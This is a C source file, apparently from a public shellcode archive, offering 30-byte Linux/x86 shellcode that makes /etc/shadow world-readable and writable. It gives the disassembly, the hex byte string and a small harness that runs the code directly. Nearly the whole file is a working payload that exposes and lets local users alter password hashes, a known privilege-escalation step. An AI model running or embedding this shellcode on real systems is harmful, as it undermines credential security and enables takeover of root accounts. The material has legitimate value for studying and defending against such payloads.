55 lines
No EOL
1.3 KiB
C
55 lines
No EOL
1.3 KiB
C
/*
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Linux/x86 - chmod("/etc/shadow",666) & exit(0)
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Info reg
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------------------
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%eax = 15
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%ebx = /etc/shadow
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%ecx = 666
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%eax = 1
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%ebx = 0
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Shellcode 30 bytes
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Author: Jonathan Salwan < submit [AT] shell-storm.org >
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Web: http://www.shell-storm.org
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Disassembly of section .text:
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08048054 <.text>:
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8048054: 51 push %ecx
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8048055: 66 b9 b6 01 mov $0x1b6,%cx
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8048059: 68 61 64 6f 77 push $0x776f6461
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804805e: 68 63 2f 73 68 push $0x68732f63
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8048063: 68 2f 2f 65 74 push $0x74652f2f
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8048068: 89 e3 mov %esp,%ebx
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804806a: 6a 0f push $0xf
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804806c: 58 pop %eax
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804806d: cd 80 int $0x80
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804806f: 40 inc %eax
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8048070: cd 80 int $0x80
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*/
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#include "stdio.h"
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int main(int argc, char *argv[])
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{
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char shellcode[] = "\x51\x66\xb9\xb6"
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"\x01\x68\x61\x64"
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"\x6f\x77\x68\x63" // chmod("/etc/shadow",666)
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"\x2f\x73\x68\x68"
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"\x2f\x2f\x65\x74"
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"\x89\xe3\x6a\x0f"
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"\x58\xcd\x80"
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"\x40\xcd\x80"; // exit(0);
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printf("Length: %d\n",strlen(shellcode));
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(*(void(*)()) shellcode)();
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return 0;
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}
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// milw0rm.com [2009-02-20]
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